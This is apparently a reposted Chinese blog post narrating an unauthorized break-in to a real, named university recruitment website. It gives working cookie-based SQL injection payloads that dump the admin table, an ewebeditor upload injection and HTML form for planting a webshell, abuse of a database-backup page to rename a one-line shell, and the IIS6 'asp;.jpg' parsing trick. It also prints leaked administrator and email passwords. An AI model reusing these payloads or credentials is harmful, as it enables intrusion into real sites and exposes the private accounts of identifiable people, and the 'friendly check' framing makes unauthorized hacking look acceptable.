对某招聘网站的一次友情检查

来源:互联网 发布:玩王者荣耀网络延迟高 编辑:程序博客网 时间:2024/05/01 17:40

比赛归来,机友无意中扫到了一个注入点,貌似和工大有关系,就扔给了我,有报错,没有过滤单引号,不过做了防注入处理


首先尝试了几种流行的绕过防注入的方法

(1)运用URLEncode编码 ,这个我认为是不科学的,因为URLEncode是浏览器解析的,在服务端根本不会产生影响

(2)使用char(),hex()函数,这个函数只能用于常量被过滤的情况,并不能绕过select等关键字的过滤

(3)去掉空格,或者使用tab代替空格,或者使用注释/**/代替空格或者分割关键字,等等。一般情况不会有用(实验证明在mysql下/**/不能分割关键字)

(4)通过like in between 等关键字绕过对 ’=‘ 的注入,一般会生效,但是这种情况下select ,from 等关键字也会被过滤。

(5)用+拆分常量,只适用于常量的绕过

这几种方法都没有成功

之后通过wwwscan的扫描得到了泄漏模板信息的页面,使用的是众泰网站系统,果断下载模板


找到conn\conn.asp文件,其中的防注入代码如下,根据代码,在所有的数据库连接处对所有get,post提交的数据进行过滤,不过却漏掉了cookie

'为了系统的安全,直接在有数据库连接的地方都加上SQL注入的免疫'自定义需要过滤的字串,用 "|" 分隔Fy_In = "'| ; | exec | insert | select | delete | update | count | % |chr(| char(| master | truncate | declare "'----------------------------------Fy_Inf = split(Fy_In,"|")If Request.QueryString()<>"" ThenFor Each Fy_Get In Request.QueryString()For Fy_Xh=0 To Ubound(Fy_Inf)If Instr(LCase(Request.QueryString(Fy_Get)),trim(Fy_Inf(Fy_Xh)))<>0 Then'--------写入数据库----------头-----conn.Execute("insert into wronglog(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")'--------写入数据库----------尾-----End IfNextNextEnd Ifdim sql_injdata,sql_inj,sql_get,sql_dataSQL_injdata = "'"  SQL_inj = split(SQL_Injdata,"|")  '防止Get方法注入 If Request.QueryString<>"" Then  For Each SQL_Get In Request.QueryString  For SQL_Data=0 To Ubound(SQL_inj)  if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then  Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入');history.back(-1)</Script>"  Response.end  end if  next  Next  End If  '防止Post方法注入 If Request.Form<>"" Then  For Each Sql_Post In Request.Form  For SQL_Data=0 To Ubound(SQL_inj)  if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then  Response.Write "<Script Language=javascript>alert('请不要在参数中包含非法字符尝试注入!');history.back(-1)</Script>"  Response.end  end if  next  next  end if
注入点的代码如下,直接使用request来读取参数,是典型的cookie注入。

<%ds="../"%><!--#include file="../conn/conn.asp"--><!--#include file="../inc/sub.asp"--><!--#include file="../inc/safe.asp"--><%ttid=request("typeid")if not IsNumeric(ttid) thenelseset rs=conn.execute("select type from  zt_aclass where id="&ttid&"")news_typename=rs("type")set rs=nothingend if%>
构造注入语句,直接使用模板的默认表明,与列名发现管理员并未作修改,联合查询得知输出位置为2号位。

javascript:alert(document.cookie="typeid="+escape("1 union select 1,2 from zt_Super"));javascript:alert(document.cookie="typeid="+escape("1 union select 1,2,3,4,5,6,7,8,9 from zt_Super"));

查询管理员用户与密码,concat()函数可以把两个结果合并,在联合查询中很好用。

javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_user,3,4,5,6,7,8,9 from zt_Super"));javascrip:alert(document.cookie="typeid="+escape("1 union select 1,JOB_pass,3,4,5,6,7,8,9 from zt_Super"));javascrip:alert(document.cookie="typeid="+escape("1 union select 1,concat(JOB_user,0x3a,JOB_pass),3,4,5,6,7,8,9 from zt_Super"));

得到管理员用户为:admin

与md5加密的密码,在线破解发现密码很弱为:8762


进入后台,发现功能很弱,只有发布文章与管理用户的功能,其他功能都被管理员删除了,使用了ewebeditor编译器,不过ewebeditor的后台也被删除了。

空空荡荡的后台


开始琢磨对ewebeditor做手脚,看看能不能上传一句话上去,下载了一个ewebeditor发现其运行原理如下

(1)编译页面选择上传文件类型并通过js把上传文件类型传送给服务器

(2)通过上传文件类型读取数据库,取得该类型的AllowExt

(3)判断后缀合法性,并修改文件名

(4)最后验证后缀是否是asp

(5)保存文件,

关键代码如下

Sub InitUpload()sType = UCase(Trim(Request.QueryString("type")))sStyleName = Get_SafeStr(Trim(Request.QueryString("style")))   //这里也加入了防注入的语句- -!sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"oRs.Open sSql, oConn, 0, 1If Not oRs.Eof ThensBaseUrl = oRs("S_BaseUrl")nUploadObject = oRs("S_UploadObject")nAutoDir = oRs("S_AutoDir")sUploadDir = oRs("S_UploadDir")Select Case sBaseUrlCase "0"sContentPath = oRs("S_ContentPath")Case "1"sContentPath = RelativePath2RootPath(sUploadDir)Case "2"sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))End SelectSelect Case sTypeCase "REMOTE"sAllowExt = oRs("S_RemoteExt")nAllowSize = oRs("S_RemoteSize")Case "FILE"sAllowExt = oRs("S_FileExt")nAllowSize = oRs("S_FileSize")Case "MEDIA"sAllowExt = oRs("S_MediaExt")nAllowSize = oRs("S_MediaSize")Case "FLASH"sAllowExt = oRs("S_FlashExt")nAllowSize = oRs("S_FlashSize")Case ElsesAllowExt = oRs("S_ImageExt")nAllowSize = oRs("S_ImageSize")End SelectElseOutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')")End IfoRs.Close' 任何情况下都不允许上传asp脚本文件sAllowExt = Replace(UCase(sAllowExt), "ASP", "")End Sub

又找到了提交文件时使用的url,发现可以利用注入来修改AllowExt的查询结果,从而上传asa后缀的文件(因为asp在任何情况下都无法上传)

http://www.hit-hr.com/editor/upload.asp?action=save&type=image&style=standard
构造注入点如下,首先通过不存在的style值使查询结果为空,在通过union select填补并修改我们想要的结果,达到狸猫换太子的目的。

这样我们只需要向这个畸形url post我们的一句话就可以了

upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileE-xt,S_FlashExt,  [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,-S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObje-ct,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder      from ewebeditor_style where s_name='standard' and 'a'='a
大家如果觉得用nc.exe比较麻烦的话,可以写一个html来提交,不过几次尝试均失败了

<HTML><HEAD><TITLE>文件上传</TITLE><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><style type="text/css">body, a, table, div, span, td, th, input, select{font:9pt;font-family: "宋体", Verdana, Arial, Helvetica, sans-serif;}body {padding:0px;margin:0px}</style></head><body bgcolor=menu><form action="/Edit/upload.asp?action=save&type=IMAGE&style=standard' union select 1,2,3,4,S_UploadDir,6,7,8,9,10,11, ([S_ImageExt]%2b'|cer'),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from ewebeditor_style where s_name='standard' and 'a'='a" method=post name=myform enctype="multipart/form-data"><input type=file name=uploadfile size=1 style="width:100%" onChange="originalfile.value=this.value"><input type=hidden name=originalfile value=""><input name="" type="submit" value="提交"></form></body></html>
后来发现,在获取style参数时加入了防注入,并过滤了 单引号,这样这条思路又行不通了。
sStyleName = Get_SafeStr(Trim(Request.QueryString("style")))   //这里也加入了防注入的语句- -!

又回到注入点思索,尝试用跨库来修改ewebeditor的AllowExt表,屡次猜测数据库路径未果,放弃之。(看来跨库得有路径支持才好用啊   - -!)


又回到后台,猜想管理员只是删除了管理页面上的链接,并没有删除具体功能实现的页面,尝试之,成功!

根据模板源码找到,数据库备份功能的页面,果断上传一句话并使用数据库备份修改后缀。


使用 菜刀连接之,并上传大马,不过发现大马被内容被杀掉,并替换成“文件被禁止!”,使用了多款过了vriustotal的网马,均被杀。

网站目录之下有读写的权限,命令不能执行,会显示“[Err] ActiveX 部件不能创建对象”,使用上传cmd.exe的方法也不能解决,

可能是管理员删除了某些dll。


搜索了一下IP为北京市息壤傳媒文化有限公司,是一个独立IP的供应商,管路后台如下,拿之前的密码试了几次,都没有成功。

http://diy.mydnschina.com/

既然是虚拟服务器,杀软变态一些也合乎情理了,应该是用来防止

使用者上传危险文件用的。因为有目录的读写权限,做了一些信息收集。

网站标题:哈工大人才网网站URL地址:网站LOGO存放地址:网站版权信息:网站关键词:网站描述:联系人:客服部联系地址:金华市八一北街汇金国际商务大厦28楼电话:13586979758传真:13586979758邮件发送组件:1邮件服务器:mail.has.ac.cn邮箱用户名:xxc@has.ac.cn邮箱密码:111111                       (密码已失效)邮件域:has.ac.cn站长名称:站长邮箱:系统安装目录:/管理员目录:Admin管理员帐户http://www.hit-hr.com/admin/admin_login.aspadmin8762http://www.hit-hr.com/xadmin/login.asp肖磊11111王殿明1234邮箱     (/temp/temp.rar 是一个备份文件,其中有几个asp页面,暴露了一个邮箱账户和密码 )sibichuiyin@163.com79866

百度了一下上面两位管理员的名字,竟然是校友,难道这是毕业学长自主创业失败的产物?这个弱口令简直弱的太可爱了。。。罪过罪过,睡觉去鸟。


第二天果然有大神上传了大马,思路是把一个图片的头放到大马之前或者用copy也可以,名字是1234.asp;.jpg这样,这样利用jpg的后缀逃过强大杀软的规则,并通过IIS6.0的解析漏洞

使asp能够执行,虽然上传的大马界面很挫,但是可以忍哈哈~最后在他的目录下找到了 龙盾IIS防火墙 唯一可以防木马上传的防火墙 - -! 泥马



原创粉丝点击